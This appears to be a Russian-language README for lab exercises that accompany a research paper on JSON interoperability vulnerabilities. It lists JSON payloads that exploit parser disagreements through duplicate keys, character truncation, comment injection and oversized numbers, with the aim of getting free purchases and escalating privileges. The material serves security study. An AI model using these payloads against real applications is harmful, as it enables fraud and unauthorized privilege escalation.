
Сопутствующие лабораторные работы к «Исследованию уязвимостей интероперабельности JSON»
Это сопутствующие лабораторные работы к моей исследовательской статье «An Exploration of JSON Interoperability Vulnerabilities».
Лаборатория 1: Бесплатные покупки в интернет-магазине
Лаборатория 2: Повышение привилегий в мультитенантном приложении
По умолчанию эти лаборатории привязаны к портам хоста 5000–5004.
Несогласованный приоритет повторяющихся ключей
{"qty": 1, "qty": -1}
Усечение символов
Усечение в парсерах с приоритетом последнего ключа (поменяйте порядок для приоритета первого ключа)
{"qty": 1, "qty\<raw \x0d byte here>": -1}
{"qty": 1, "qty\ud800": -1} # Any unpaired surrogate U+D800-U+DFFF
{"qty": 1, "qty"": -1}
{"qty": 1, "qt\y": -1}
Усечение комментариями
Эти документы используют несогласованную поддержку комментариев и строк без кавычек:
{"qty": 1, "extra": 1/*, "qty": -1, "extra2": 2*/}
{"qty": 1, "extra": a/*, "qty": -1, "extra2": b*/}
{"qty": 1, "extra": "a/*", "qty": -1, "extra2": "b"*/}
{"qty": 1, "extra": "a"//, "qty": -1}
Несогласованное декодирование больших чисел
Эти большие числовые значения могут преобразовываться в строки (например, «+Infinity»), что может привести к уязвимостям, связанным с подменой типов (type juggling). Либо они могут преобразовываться в MAX_INT/MIN_INT, округлённые значения или 0, что может позволить обойти бизнес-логику.
{"qty": 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999}
{"qty": -999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999}
{"qty": 1.0e4096}
{"qty": -1.0e4096}
Twitter: @theBumbleSec
GitHub: the-bumble